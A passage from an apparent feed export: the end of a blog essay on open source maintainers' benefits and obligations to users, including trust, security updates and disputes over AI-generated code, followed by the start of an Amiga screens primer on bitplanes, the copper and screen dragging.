Rich Hickey did at the time of his famous rant, then this reputational currency translates into advertising for your services. It’s a practical demonstration of the skills of your team.&#xA;&#xA;The trade in this benefit is most like the traditional “gift economy” that open source has been compared to. You give the code to your users, which has some value, but the users give you back some reputation, in the form of their attention, their esteem, and possibly even their money if they become customers or employers.&#xA;&#xA;### Influence&#xA;&#xA;Infrastructure is the most popular type of open source for a good reason. Programmers working on a problem are often hemmed in by sclerotic architectural choices which prevent them from solving problems in the way that they’d prefer to solve them. Major infrastructural investments are difficult to justify in a planning process, as their benefits are hard to prove. Sometimes the benefits are highly personal; different engineers have different aesthetic preferences about what types of equally-valid solutions they’d prefer to work with.&#xA;&#xA;If you can develop your preferred type of solution and release it as open&#xA;source, then you can influence _how_ everyone else solves this type of problem.&#xA;As an individual, such a position of influence can allow you to have some&#xA;transferable expertise between employers. You know how to use the tool you&#xA;developed, so you can be very quick and effective with it, and you can shape it&#xA;to your ongoing taste over time.&#xA;&#xA;If you’re an employer, and you can get everyone _else_ to use your open source&#xA;thing2, this can reduce _both_ your hiring and training costs. Potential&#xA;employees can read the code, see that it’s good, and want to work at a place&#xA;that produces good code like that. They can also read the code and become&#xA;familiar with it in advance of coming to work for you, which means that you&#xA;have a ready supply of developers who already know how your internal systems work.&#xA;&#xA;The trade in this benefit is more like “soft power” than a gift economy. You give the code to your users, which has some value, but the users give you back the ability to dictate their technological agenda. You gain both the ability to influence their initial direction, and, as part of ongoing maintenance, to dictate their behavior over time.&#xA;&#xA;### Improvement&#xA;&#xA;As an engineer, you might want to improve your own skills. Writing something proprietary and commercial cuts against this in two ways.&#xA;&#xA;First, you will want to build something that already exists within your skill set, so that it will attract commercial interest and actually be competitive. Within the context of a larger team, you will want to personally be able to be immediately effective for similar reasons. But you still need a way to learn new things.&#xA;&#xA;Second, you will want to build something somewhat secretively, so that the value you are producing is captured rather than released to the community. This means that you will be cut off from external sources of expert feedback.&#xA;&#xA;As an organization, you might want to build the skills of your staff in similar ways.&#xA;&#xA;The trade in this benefit is code for knowledge. You release the code or changes, and in return you expect your users to provide you good bug reports, and to induce at least some of them to become co-developers.&#xA;&#xA;### Outsourcing&#xA;&#xA;As an engineer, you can only do so much on your own. Perhaps you want to have&#xA;some influence over your infrastructure so you want to write it, but you also&#xA;want to have a communal place to keep your infrastructure such that you can&#xA;_make_ a change to something to suit your needs, but you know that even if you&#xA;walk away, someone else will _maintain_ that change and keep it working across years or even decades of changes to underlying platforms, hardware, etc.&#xA;&#xA;This sort of communal maintenance effort can be shared among all interested&#xA;participants; if a thousand companies all need the same tool, if even a few&#xA;dozen can share it, that reduces even their _own_ load massively, let alone&#xA;everyone else’s.&#xA;&#xA;The trade in this benefit is more complex, since there’s less symmetry between&#xA;the main maintainer and peripheral community members who also contribute code.&#xA;The main maintainer is actually trading a _namespace_, a central place for&#xA;people to contribute, coordinate, and release changes, rather than the _code_.&#xA;They are a sort of market maker where then all the other contributors trade&#xA;code _for_ code within that market-ish structure.&#xA;&#xA;In practice, this motivation produces a game theory&#xA;problem where, when&#xA;maintenance drops below a critical threshold, it creates a big enough&#xA;crisis that at least _some_&#xA;freeloading stakeholders will be forced to start making contributions.&#xA;&#xA;Ultimately, however, this saves _all_ involved parties a ton on maintenance,&#xA;more eager volunteers who do not freeload in the first place get all the other&#xA;benefits mentioned above as well.&#xA;&#xA;### A Brief Aside about your Chart of Accounts&#xA;&#xA;Most companies account for open source maintenance work as simple overhead on ongoing projects. Sometimes it’s CapEx, sometimes it’s OpEx, but it’s just “whoever happens to be working on this thing to support whatever random product it’s a part of”.&#xA;&#xA;This type of accounting creates distorting incentives, because it doesn’t recognize all the benefits above. Under such a fiscal regime, ongoing healthy maintenance becomes a ZIRP because when resources are more constrained, this apparent indulgence gets corrected.&#xA;&#xA;The ancillary benefits that open source creates ought to be properly&#xA;recognized. It shouldn’t just be buried as Wages or IT or whatever. If it’s&#xA;helping you hire better engineers, some of that expense should be allocated to&#xA;Recruitment Costs. If it’s materially improving your reputation among your&#xA;customer base, some of it should go to Goodwill. If it’s getting your product&#xA;in front of developers who are your customers, it should be in Marketing. Most&#xA;importantly, if maintenance on an open source project is actually helping you&#xA;maintain your enterprise-wide platform, it should not be squirreled away in&#xA;some small team who happened to be the first one to adopt it.3&#xA;&#xA;Exactly how these costs should be allocated and cross-charged to different departments depends heavily upon your organization and your specific chart of accounts. But “whatever, it’s just part of the software product” or “I guess it’s DevRel because the SDK is in there” is guaranteed to have your open source organization destroyed along with all those side-benefits the next time that there’s a cash crunch.&#xA;&#xA;## The Things that Aren’t Supposed To Be Benefits&#xA;&#xA;These categories _could_ be made as explicit, rational trade-offs, even if they&#xA;are often implicit and subtle in practice. They are transactions where the&#xA;maintainer gets something and the user gets something.&#xA;&#xA;However, not everything that you are getting as a maintainer is something you&#xA;are actually _supposed to use_ to your own benefit. Being given trust in&#xA;service of a responsibility is not a transaction.&#xA;&#xA;### “Oops, All Root Shells”&#xA;&#xA;Open source code _is code_. In our modern world of absolutely pathetic&#xA;sandboxing,&#xA;installing code from somebody else gives them control over your system, even if&#xA;it is somewhat indirect.&#xA;&#xA;There is an unwritten rule that if I create an open source library, and you use&#xA;it, it probably _shouldn’t_ have a backdoor in it that gives me the credentials&#xA;to your bank account. There is a trust relationship between the user and the&#xA;maintainer, and here, we see the first _obligation_ that the maintainer has.&#xA;The maintainer is obligated _not to use the user’s computer for their own_&#xA;_gain_.&#xA;&#xA;This rule might seem obvious and straightforward. It might even seem unfair to&#xA;you that I call the rule “unwritten”, because the rule _is_, in fact, written&#xA;down in a few places: for example, in the npm Acceptable Content&#xA;Policy,&#xA;it says right there:&#xA;&#xA;&gt; A few examples of unacceptable content:&#xA;&gt;&#xA;&gt; …&#xA;&gt;&#xA;&gt; Content containing malicious computer code, such as computer viruses, computer worms, rootkits, back doors, or spyware. This includes content submitted for research purposes. Tools designed and documented explicitly to assist in security research are acceptable, but exploits and malware that use the npm registry as a deployment or delivery vector are not.&#xA;&#xA;I think we can all agree that a script which steals your bank credentials and sends them to me to buy a totally sick jet ski would qualify as “malware”, so clearly that is forbidden.&#xA;&#xA;There is also an enormous gray area here. npm also explicitly _allows_&#xA;“Information on how to pay, donate to, and otherwise support Package&#xA;development”, but then goes on to explicitly _forbid_ “Packages that display&#xA;ads at runtime, on installation, or at other stages of the software development&#xA;lifecycle, such as via npm scripts.”4 How are the lines drawn around these&#xA;gray areas? “npm will continue to apply its judgment when deciding what&#xA;content is acceptable.”&#xA;&#xA;But also... this is forbidden _by npm_, not by the transcendental nature of&#xA;“open source”. I could give away code that displays all kinds of ads to its&#xA;users as a “gift” on my website. The exact structure of this policy is not&#xA;uncommon, but it also isn’t exactly the same as other such sites. PyPI, for&#xA;example,&#xA;explicitly bans “cryptocurrency mining”, which NPM does not. Is cryptocurrency&#xA;mining “not open source”? A lot of judgement calls are happening here about&#xA;what is allowable in these “gifts” that you are giving to your users.&#xA;&#xA;But I digress.&#xA;&#xA;My point is that policy-making around this concept is not clear, there are lots&#xA;of little disagreements around the edges, but there is a very strong consensus&#xA;that while the user is giving you their trust here, that is **not a trade**.&#xA;The deal is not “you give the user some code, the user gives you unlimited&#xA;compute and access to all their financial accounts”. The user has made&#xA;themselves vulnerable to your code on the strength of your reputation.&#xA;&#xA;This creates an obligation for you to not do anything evil with that code, either intentionally or through negligence.&#xA;&#xA;#### Security Updates Are Just Command And Control In A Funny Hat&#xA;&#xA;All of this is just about the initial download of some code, and that is the way that Rich Hickey describes it, as if you just grabbed some code off a web page and put it in a folder that you like on your desktop. But that is not how open source relationships work today, if indeed it ever was.&#xA;&#xA;The way it works today is that you add a dependency to your `pyproject.toml` or&#xA;your `package.json` or your `Cargo.toml` and now your users are vulnerable not&#xA;just to whatever you happened to upload in the first place, but to _whoever_&#xA;_happens to have your package index credentials_.&#xA;&#xA;This creates an obligation to maintain an operational security posture that protects your users from malicious updates.&#xA;&#xA;### The Roadmap Is Someone’s Life&#xA;&#xA;Another kind of trust that the user is placing in you is the trust that you are&#xA;going to have at least _some_ kind of regard for their usage of your software.&#xA;&#xA;In a perfect world, the user’s expectations could be clearly circumscribed. Whatever ongoing maintenance you commit to perform would be encapsulated in clear policies that you’d write up in advance, about exactly what kind of security response policy you have, how you will communicate when you no longer have the resources for maintenance, and so on.&#xA;&#xA;But anyone who has been involved in any project at anything but the most extreme tier of operational maturity knows that 99% of the ecosystem relies on a set of loose conventions around how all that stuff works. We expect that maintainers will generally be around, that they’ll use existing tools like an issue tracker for triaging user bugs, GHSA and CVEs for security reporting, that they will mark the project as “archived” and maybe do a final release before abandoning it, that they will maintain a ChangeLog explaining at least a little bit of what is going on.&#xA;&#xA;Users assume that those conventions will be followed when there are any gaps in&#xA;explicit policy, or indeed if policy is lacking entirely. This assumption is&#xA;reasonable, because otherwise nobody could ever _use_ any open source without a&#xA;stack of service contracts that nobody has any time to write.&#xA;&#xA;The strongest such convention is that an actively maintained program will, at&#xA;least, more or less _keep doing what it does_ as time goes on. A user who has&#xA;elected to use a bit of open source software has made themselves vulnerable to&#xA;changes and breakages in that software by the mere fact of using it. In the&#xA;time that they have used it and invested in it, they have _not_ invested in:&#xA;&#xA;- _creating_ alternative software to meet their needs,&#xA;- _maintaining data_ in formats that other software can read, or&#xA;- _learning how to use_ existing alternative software.&#xA;&#xA;This can, and does, go badly wrong, when those expectations are mismatched.&#xA;&#xA;#### How It Goes Wrong&#xA;&#xA;Let’s say a maintainer creates an open source paint program, OpenPaint.&#xA;&#xA;An artist, known for their unique style of making blended collages, switches from their previous app, ProprietaryPaint, to this new OpenPaint to make these culturally significant works of art. However, the maintainer decides that the ‘blend’ tool is kind of a pain to maintain, and they remove it in OpenPaint 2.&#xA;&#xA;A few months later, the artist’s operating system vendor issues a security update that breaks OpenPaint, because older versions of OpenPaint were unknowingly abusing some platform API.&#xA;&#xA;The maintainer releases a new OpenPaint 2.0.1 that addresses this incompatibility, but doesn’t care about version 1.x any more so they don’t bother to update that one.&#xA;&#xA;This places the artist in an impossible situation. They can stay on an old version of their operating system, putting all their personal data at risk. Or they can upgrade to the new operating system, effectively either cutting off access to their livelihood, or forcing them to change their art style entirely.&#xA;&#xA;Now, proprietary software can place users in similarly untenable positions (and&#xA;in fact, it is _more often_ proprietary software that does). But does the&#xA;openness completely remove _any_ obligation for this consideration? Should&#xA;the OpenPaint team have to at least _communicate_ the reasons for doing this,&#xA;to give the artist some recourse?5&#xA;&#xA;The only thing that “open source” does is that it allows the artist to pay a prohibitive amount of money to a new maintenance team to create a fork. This is rarely the kind of thing that individuals can manage.&#xA;&#xA;This creates an obligation to _at least consider how your users might be_&#xA;_relying on you_.&#xA;&#xA;This is the most complex obligation of the bunch. Obviously it does not&#xA;entitle every single user to infinite work from the maintainer, but it also&#xA;shouldn’t entitle the user to _nothing_ for having trusted these subtle implied&#xA;claims that the maintainer is making by making their work public.&#xA;&#xA;It is a nuanced and ongoing negotiation and I do not think we have a clear moral intuition about how it should work out. But we do need to figure out a way to work it out.&#xA;&#xA;It also raises a clarifying question.&#xA;&#xA;## Why Are We Even Doing This, and Who Are We Doing It For?&#xA;&#xA;People generally like to do things for more than one reason. We live in an economy where people need to make money, but we mostly prefer to make that money doing things that are useful, and that make other people happy.&#xA;&#xA;So, yes, we create open source for self-interested reasons to improve our&#xA;reputations, to improve our skills, to increase our influence and to share our&#xA;maintenance burdens. In so doing we take on _some_ level of obligation to not&#xA;abuse the trust that is placed in us, even if that level of obligation is not&#xA;clear.&#xA;&#xA;But if we are not doing it to _serve_ those users at least a _little_ bit, then&#xA;those motivations are going to quickly ring hollow. We will not increase our&#xA;reputation with a person if we respond to their every request by telling them&#xA;that we owe them nothing and that their opinions are worthless. We will not&#xA;gain influence over a community if we ignore their desires.&#xA;&#xA;Many interactions with open source maintainers are unnecessarily adversarial. This is of course partially the fault of those users, who should calibrate their expectations appropriately.&#xA;&#xA;Still: maintainers could do a better job of listening _before_ these&#xA;interactions become toxic. There’s no reason that “open source users” should&#xA;be an especially toxic group of people. At this point in history, that group&#xA;is basically just … people with computers.&#xA;&#xA;It’s like that old truism. If you meet one person who is a jerk to you, that’s their problem. But if everyone you meet, everywhere you go, is constantly abrasive to you and treats you like you’re doing something wrong, maybe it’s time to look inward.&#xA;&#xA;If all open source users are entitled assholes, maybe it’s time to look for a structural problem.&#xA;&#xA;### Surprise, It’s About AI Again&#xA;&#xA;Sigh.6&#xA;&#xA;_Users_ _hate_ _slop._&#xA;&#xA;I know, dear AI-positive reader, _your_ AI outputs are different from everyone&#xA;else’s, _you_ aren’t pushing thoughtless slop into your code, just because&#xA;everyone else is and it is the inevitable terminus of using those tools. You&#xA;aren’t “lazy vibe coding” with Claude, you’re doing “responsible agentic&#xA;engineering”, which is different because you’re just built different.&#xA;&#xA;Still, humor me, for a moment. Your _users_ don’t know that. They know what&#xA;it looks like when products that they like adopt slop. They know that they&#xA;will start leaking&#xA;data.&#xA;Developers know that it will make them personally less&#xA;secure.&#xA;They know that they can expect more&#xA;outages&#xA;and that your code will inexorably decline in&#xA;quality.&#xA;&#xA;In other words, your users are going to assume that this means you are&#xA;violating that final obligation that the software should _keep working_.&#xA;&#xA;Your users are going to tell you to stop, and they are probably going to get&#xA;mad. Maybe you, or a plurality of your team, _also_ want to stop, maybe you&#xA;disagree with them, but in any case you need some way to _have that_&#xA;_conversation_ in a way that does not immediately overflow into every adjacent&#xA;discussion forum. Users need to feel welcome in some space so they can have&#xA;the discussion _in_ that space, and not explode out into a thousand different&#xA;group chats and social media threads.&#xA;&#xA;_This_ post was inspired by yet another prominent open source community&#xA;discourse where a ton of angry users showed up to yell at developers to stop&#xA;accepting LLM-generated code. I’m not going to link to any of these, because&#xA;we don’t need any more fuel for the discourse fire. But there is more than one&#xA;such case and the pattern is becoming familiar.&#xA;&#xA;On social media - usually BlueSky or Mastodon, but sometimes a user group&#xA;forum - users become aware of some AI-adjacent policy. They show up in a horde&#xA;to the developer forum or mailing list. They loudly start demanding the&#xA;project take a hard stand7 against AI. This pressure is simultaneous, but&#xA;uncoordinated; extremely repetitive, very diverse, often inconsistent, and&#xA;pretty stressful, especially if you’re a burnt-out maintainer with other things&#xA;to be doing who may not even like AI yourself in the first place.&#xA;&#xA;Believe me, I get it. It can be very unpleasant to deal with.&#xA;&#xA;Like most problems that AI is causing, though, it’s not really an “AI” problem&#xA;as much as it is a pre-existing dumpster fire that “AI” is pouring gasoline&#xA;onto. In this case, an online mob is the language of the unheard8.&#xA;&#xA;## If Users Are Mad It’s Probably Already Too Late (But Maybe You Can Get Ready For Next Time)&#xA;&#xA;One day, all of a sudden, you’re getting feedback from a bunch of users that&#xA;are using inappropriate channels to complain. But did they already have&#xA;_appropriate_ channels to use?&#xA;&#xA;Did you have a place for people to congregate and discuss your project? To make orderly complaints in a way that will be legible to you? Or do you just have a GitHub Issues page, which non-technical users have no idea how to interact with, and a forum for developers, where users don’t know the norms and any arriving brigade of pissed-off users will be seen as disruptive and inappropriate?&#xA;&#xA;I don’t want to be throwing any stones from within my particular glass house. Setting up such a place has gotten harder over the years. I don’t really have one, either.&#xA;&#xA;_Could_ I have one, though? IRC has been slowly dying, mailing lists are&#xA;unpopular and present increasingly annoying moderation challenges, forum&#xA;software is expensive to operate and keep maintained, Discord is a confusing&#xA;mess and the upshot of all of this is every community needs community&#xA;management and forum moderation. Which means that for my own small solo&#xA;projects, I couldn’t possibly have such infrastructure because such&#xA;infrastructure requires a _dedicated second person_ to maintain it, and until&#xA;someone volunteers for that, it’s not really feasible. Even for my larger&#xA;projects you’d be surprised how slim of a skeleton crew&#xA;we are getting by with, and we definitely don’t have a whole spare maintainer&#xA;to go manage this, especially as we are under attack from the slopocalypse&#xA;ourselves.&#xA;&#xA;The nature of open source community is that most communities start too small to&#xA;need such a thing, grow incrementally until one day they are suddenly _way_ too&#xA;big and needed one yesterday, and then suddenly they are too small again when&#xA;interest wanes even a little bit. Even as we need it more and more, building&#xA;and maintaining community infrastructure remains a challenge.&#xA;&#xA;Even so, having a dedicated place for _users_ — not maintainers — to converse&#xA;amongst themselves, be an actual community, and present feedback to the&#xA;developers, is fast becoming a necessary component of a successful community&#xA;and not a nice-to-have.&#xA;&#xA;## In Conclusion&#xA;&#xA;As trying as it can be sometimes, we maintainers all do get something out of&#xA;open source, and it is good to be honest with your users — and with yourself —&#xA;exactly _what_ you want to get out of it. In order to know whether the juice&#xA;is worth the&#xA;squeeze, we&#xA;must know both what the juice is, _and_ what the squeeze is.&#xA;&#xA;Part of the metaphorical squeeze _is_ a set of obligations, and those are the&#xA;most poorly defined of all. We should try to be clear about what those are&#xA;too. Both about exactly what we believe we are signing up for, and also, about&#xA;how we are willing to let our users hold us to account for them. Codes of&#xA;conduct are a start here, but only the absolute barest bare minimum; “do not&#xA;harass your colleagues or your users” is not a standard of excellence to aspire&#xA;to, it’s just basic manners.&#xA;&#xA;I can’t tell you exactly what your obligations are, only try to gesture at my idea of the outlines of the fuzzy moral intuition we’ve all been implicitly sharing up until now.&#xA;&#xA;Drawing this line is not just for the benefit of the users, either.&#xA;Maintainers already feel pressure, we already feel obligations. We _resent_&#xA;that feeling of obligation. While there are a diverse array of reasons for that&#xA;resentment, one big one is that it’s not clear, even to ourselves _where the_&#xA;_obligations end_. Lashing out by saying “I promised nothing and I owe you&#xA;nothing!” followed by some choice expletives feels cathartic, but it doesn’t&#xA;really solve the problem, because we clearly don’t really believe that’s where&#xA;the line is, or we would have already stopped there. We wouldn’t feel the need&#xA;to say it.&#xA;&#xA;It is going to be a very big collective endeavor to figure out exactly where that line is. The best time to have gotten started on that endeavor was 50 years ago.&#xA;&#xA;But the second best time is today.&#xA;&#xA;## Acknowledgments&#xA;&#xA;Thank you to my patrons who are supporting my writing on&#xA;this blog. If you like what you’ve read here and you’d like to read more of&#xA;it, or you’d like to support my various open-source&#xA;endeavors, you can support my work as a&#xA;sponsor!9&#xA;&#xA;1. Somewhat to everyone’s surprise, I, too, do things for money, like writing this post. Please remember to like and subscribe ↩&#xA;&#xA;2. Whether it was originally yours, or developed by an employee who happened to be on staff at the time, or adopted by an employee who just started contributing to it a lot, in any of these scenarios a company can benefit from increased consistency and increased familiarity. ↩&#xA;&#xA;3. If the rule is that they must forever endure the searing budgetary pain of gripping the white-hot potato that they unwittingly caught when they first made a good technical choice, this creates a perverse long-term incentive. ↩&#xA;&#xA;4. I also find it darkly amusing that there is an explicit affordance here made for advertising, specifically, “Packages with code that can be used to display ads are fine. Packages that themselves display ads are not.” This distinction rather gives the game away, that this is a website for carnies and not for marks, and that at some level we expect our users to deserve a lower level of respect than ourselves. But a full exploration of that is another blog post, or maybe a book, that I don’t have time to write right now. ↩&#xA;&#xA;5. If you want the turbocharged ultra-dramatic version of this problem, make it open source drivers for an optical prosthesis that lets the users&#xA;    _see_ instead of an art app. That level of immediate physical dependency could be clarifying. It does also start to edge into an area where you could say that biomedical devices ought to be regulated differently, and that’s not really a “software” problem but a “healthcare” problem and I’d mostly agree. Except for the fact that this is a _very_ short distance away from breaking everyone’s screen-reader with no notice or recourse. ↩&#xA;6. Did you believe I could write a blog post in 2026 which wasn’t somehow about AI? I wish I could still believe that. ↩&#xA;&#xA;7. It doesn’t help that many of the most pro-AI voices are starting to have an, ahem, discernible political valence that is very unpopular among users. ↩&#xA;&#xA;8. My apologies to MLK. ↩&#xA;&#xA;9. If you read this whole post you can see that I sure need the help with all that. ↩</content>
    <link href="https://blog.glyph.im/2026/09/who-is-open-source-about.html" rel="alternate"></link>
    <author>
      <name>carlana</name>
    </author>
  </entry>
  <entry>
    <title>Amiga screens: a primer</title>
    <updated>2026-09-25T22:01:42+09:00</updated>
    <id>lobsters_dsungs</id>
    <content type="html">## Amiga Screens: A Primer&#xA;&#xA;_Autumn 2026_&#xA;&#xA;One of the unwritten rules of the Internet seems to be that whenever something Amiga-related is mentioned, at least one Amiga fan (myself included) must show up and try to explain the concept of _screens_. Amiga screens can have different resolutions, we&#39;ll tell you, and one can drag them, we&#39;ll say, and other Amiga users rally in agreement, while non-Amiga users probably still don&#39;t get what&#39;s so great about screens. Until now, when this text has been written, in the hope of converting unsuspecting normies into full-blown Amiga screen lovers.&#xA;&#xA;For practical purposes, this text will focus on the original Amiga graphics hardware, called OCS (Original ChipSet). Some hardware limitations were removed in the subsequent ECS (Enhanced ChipSet) and AGA (Advanced Graphics Architecture) upgrades, but the same basic principles and user experience still apply.&#xA;&#xA;_A typical Amiga screen, showing a Workbench desktop with a shell window open._&#xA;&#xA;### A Screen is a Screen is a Screen&#xA;&#xA;The specific meaning of _screen_ on the Amiga comes from the operating system, which uses this term to refer to a particular type of display area because it is, well, a screen. Amiga games and demo programmers aren&#39;t as bothered by this concept; the Amiga Hardware Reference Manual, for example, refers to a display area as a &#34;playfield&#34;, and a demo coder might talk about raster splits, but for simplicity, let&#39;s stick to _screen_.&#xA;&#xA;Hence, a _screen_ on the Amiga is, basically, an area onto which graphics is drawn. Amiga screens can have different resolutions and colour depths, and a program can open any number of different-resolution screens to display graphics.&#xA;&#xA;Today, we mostly use a single, fixed-resolution display area, which is a combined effect of how modern operating systems and flatscreen monitors work. In the heydays of CRT monitors, however, opening different-resolution displays was commonplace. An image viewer running on a VGA-capable MS-DOS machine, for example, might use a 16-colour, 720x400 pixel text mode resolution for browsing files, and then open a new 256-colour 320x200 display when viewing an image.&#xA;&#xA;These variations in resolution and colour depth existed on basically all home computers, and were hardware-enforced tradeoffs to achieve reasonable speed and memory consumption for different use cases. Memory was very expensive at the time (Oh, how history repeats itself!) and the Amiga, which in its stock hardware configuration relied on a relatively small amount of RAM being shared between the CPU, video and audio hardware, offered a high level of control over these screen resolutions and colour depths.&#xA;&#xA;### Indices and Planes&#xA;&#xA;The Amiga typically uses _indexed palettes_, meaning that a limited number of per-screen colour registers contain a user-defined colour value. These values are selected from a 12-bit colour space (or 24-bit, on AGA). For example, colour index 0 might be set to $000, which is black, and index 1 to $F00, which is red.&#xA;&#xA;To manipulate the colour value of individual pixels, _planar_ graphics is used, which means that the colour depth of a screen is increased by adding more _bitplanes_ (bpl for short). Each bitplane is stored separately in memory, and in order to change the colour index of a pixel, a bit must be toggled in each plane.&#xA;&#xA;Thus, a one-bitplane screen gives two colour indices, two bitplanes gives four and so on, up to five bitplanes and 32 colours on the original Amiga hardware (or 8 bpl and 256 colours on AGA).&#xA;&#xA;_An illustration of how bitplanes are combined together to represent per-pixel colour indices. (From the Amiga Hardware Reference Manual)_&#xA;&#xA;On OCS and ECS, the maximum number of bitplanes per screen is determined by its display resolution, and these are designed to make sense on a PAL or NTSC television set. An OCS Amiga offers low-res and high-res. On PAL, low-res is 320x256 pixels (320x512 with interlace) in up to 32 colours (5 bpl). High-res is 640x256 (640x512 with interlace) in up to 16 colours (4 bpl). These base resolutions can be increased slightly by using _overscan_, which in high-res can be up to 724x283, but isn&#39;t guaranteed to be fully visible on all monitor types or television sets.&#xA;&#xA;In low-res, a sixth bitplane can be used for HAM (Hold-And-Modify), allowing free use of all of the OCS Amiga&#39;s 4096 colours simultaneously (with some caveats), or EHB (Extra Half-Brite) which duplicates a 32 colour palette into 32 additional copies of the original colours, but with half the original brightness value.&#xA;&#xA;_Deluxe Paint editing an EHB image. Note the colour selector in the bottom right of the screen: The two rightmost columns are &#34;half-brite&#34; copies of the colours in the first two columns. The half-brightness isn&#39;t always perfect, since it&#39;s limited by the 12-bit colour space._&#xA;&#xA;Unlike most of its contemporary competitors, the Amiga has true, preemptive multitasking, for which planar graphics offers convenient resource frugality. A text editor might work just fine on a 2-colour screen, saving memory that can be used for simultaneously running a graphics program on a 32-colour screen. It&#39;s also memory-saving in the sense that only the exactly required number of bits are needed to store a single pixel while keeping memory addressing sane, instead of, say, allocating one byte per pixel and wasting the unused bits. In addition, a screen can be arbitrarily dimensioned and positioned, such as displaying a 320x50 pixel low-res screen at the bottom of the physical display area. Not using more pixels than necessary per screen will also help save memory.&#xA;&#xA;### Hardware Hijinx&#xA;&#xA;The Amiga was originally designed as a games machine, which means it&#39;s got lots of hardware features for working with graphics. Repositioning a screen is instant, and scrolling an entire screen is extremely fast, to the point that even the operating system allows the user to configure a desktop screen that&#39;s larger than the visible area, and scroll around it using the mouse.&#xA;&#xA;It&#39;s also easy to change the display resolution and colour depth at arbitrary points in the redraw cycle. This means that several screens can be combined at once, even overlapping, while maintaining a uniform display experience for the end user. Consider the following example:&#xA;&#xA;_Simultaneous display of two screens with different resolutions and colour depths._&#xA;&#xA;The above example has been created using the BASIC dialect AMOS, which has its own take on the screen concept and provides simple abstractions for working with the Amiga&#39;s graphics hardware. Any type of graphics operation can still be performed individually on any of the screens, such as drawing, scrolling, repositioning the screen and changing the palette.&#xA;&#xA;This fast resolution and colour depth switching is controlled by the Amiga&#39;s copper (short for co-processor). The copper works in lockstep with the video rendering hardware and is also used for manipulating colour values and hardware sprites. Among other things, this can create the distinct Amiga feature called &#34;copper gradients&#34; or &#34;copper bars&#34;, in which the colour value for a given colour register is changed once per horizontal line, producing striking gradients and more on-screen colours than what can be achieved using the 32 available palette indices.&#xA;&#xA;_This is an ordinary 4-colour Workbench screen. The background gradient is created using the copper, by changing the value of colour index 0 at regular intervals during video rendering._&#xA;&#xA;Combining screens with different resolutions and colour depths has a multitude of use cases. Even if the maximum number of colours per screen is 32, these 32 colours can be different on each screen. Thus, a game might display 64 or more colours simultaneously by using 32 colours for the main game area and 32 different colours for the user interface and/or status display. This can then be combined with copper gradients to further boost the colour count.&#xA;&#xA;### End User Experience&#xA;&#xA;Apart from games, this swift graphics handling is also convenient when running multitasking productivity software, which (at last!) brings us to _screen dragging_.&#xA;&#xA;Because of the low display resolutions offered by home computers and early PCs, most applications ran in full-screen mode, taking over the entire display area to show as much information (and user interface) as possible. When multitasking on the Amiga, the user can quickly switch between entire screens using either a button in the top right of the screen, or a system-wide keyboard shortcut. However, screens can also be dragged by clicking and, well, dragging the screen title bar downwards using the mouse. This will reveal another running program&#39;s screen behind it, as illustrated below.&#xA;&#xA;_An illustration of how screen dragging might look on a user&#39;s monitor._&#xA;&#xA;I must confess that even though many of us Amiga fans go on about it, the actual usefulness of screen dragging is limited, at least in my personal workflows. However, the effect must have been rather stunning in 1985, when multitasking and colour graphics were rarely seen in combination other than on very expensive Unix workstations. One use case suggestion is that you can drag down your chat program screen just a bit to check on a file download progressing on the web browser screen behind it, but full-screen switching on the Amiga is so effortless that dragging usually feels a bit cumbersome.&#xA;&#xA;In order to show just how snappy this screen handling is, I&#39;ve prepared a short movie clip. It&#39;s filmed off a flatscreen monitor connected to an Amiga 600, which is a 7 MHz (that&#39;s 0.007 GHz) machine based around essentially the same hardware as the original Amiga 1000 in 1985. Here it&#39;s playing some music while also running a text editor and the graphics program Deluxe Paint, and of course performing screen switching and dragging:&#xA;&#xA;_Click above to watch the movie._&#xA;&#xA;### Dual Playfields&#xA;&#xA;The Amiga is also capable of something called _dual playfields_, which means that for two overlapping screens, colour index 0 on the frontmost screen becomes transparent and will display the contents of the screen below it. The other colour indices remain intact, and all the usual stuff can still be performed individually on each screen: scrolling, painting graphics, palette changes and so on.&#xA;&#xA;_An illustration of Dual Playfields from the Amiga Hardware Reference Manual._&#xA;&#xA;The screenshot below shows dual playfields in combination with sprites. The burgundy background and pink stars are painted on the background playfield, which is a 4-colour screen. The green and purple bars are sprites, with the sprite drawing priority set to position them between the two playfields. Everything else is drawn on the foreground playfield, which is an 8-colour screen. The Amiga hardware ensures that each layer can be smoothly animated even on a 7 MHz machine.&#xA;&#xA;_Curious readers can download or watch this little Amiga intro through Demozoo_.&#xA;&#xA;### Full Screen Flow&#xA;&#xA;On modern machines, I typically prefer to run programs as individual, stacking windows. Partly because there&#39;s enough screen real estate to go around these days, and partly because many modern programs are designed for this type of behavior. I do like to run some applications maximized to cover the entire screen, such as Visual Studio Code. Thanks to virtual desktops in my window manager, I can then swiftly switch to another working area, just as instantly as I do on my Amiga.&#xA;&#xA;Some programs, however, look silly when maximized on a high-resolution widescreen display. I prefer reading man pages in an 80-column terminal window, and I find that orthodox file managers feel much more reasonable in squarish aspect ratios such as 5:4. The upside of running many windowed applications on the same screen is that they can all be visible at the same time, allowing for fast context switching. The downside is that certain mouse workflows are only really applicable to full-screen applications.&#xA;&#xA;Take Directory Opus, for example. It&#39;s one of the best orthodox file managers I know of, and when running in full screen on my Amiga, I can do nifty things like slamming my mouse pointer to either edge of the screen and single-click, which will bring me to the parent of whatever directory is currently displayed in the corresponding lister.&#xA;&#xA;_Clicking the edge of a Directory Opus file lister._&#xA;&#xA;The exact same feature can of course be implemented in a more window-focused environment, but it would be pointless: Without the edge of the screen creating a boundary for the mouse pointer, the thin clickable area would be annoyingly hard to target.&#xA;&#xA;A simpler pleasure, but one that&#39;s hard to replicate properly on a modern widescreen monitor, is that of editing code - or running just about any terminal-based application - in an 80x24 character full screen text mode. There&#39;s something about those proportions that just _feels right_.&#xA;&#xA;### So Much More&#xA;&#xA;This text only scrapes the surface of screens and the Amiga graphics hardware. Planar graphics, for example, allows for a lot of interesting trickery and effects by manipulating only some of the bitplanes making up a pixel&#39;s colour value. And we haven&#39;t even mentioned the Amiga&#39;s blitter hardware yet, which allows for blazingly fast graphics memory copying with various modes for combining or masking out bitplanes - exceptionally useful for high-octane arcade action.&#xA;&#xA;Sprites have been mentioned only briefly, without discussing how they can be used to add extra colour to low-bitplane screens or be multiplexed together to add more sprite colours. If you&#39;d like to know more about that, I recommend Codetapper&#39;s Amiga Site which examines the graphics aspect of Amiga games programming in great detail. I highly recommend the article on Shadow of the Beast, which uses the Amiga&#39;s graphics hardware very creatively, resulting in a visually stunning game with several layers of smooth parallax scrolling.&#xA;&#xA;### Summary&#xA;&#xA;Amiga screens have many interesting properties:&#xA;&#xA;- Screens use planar 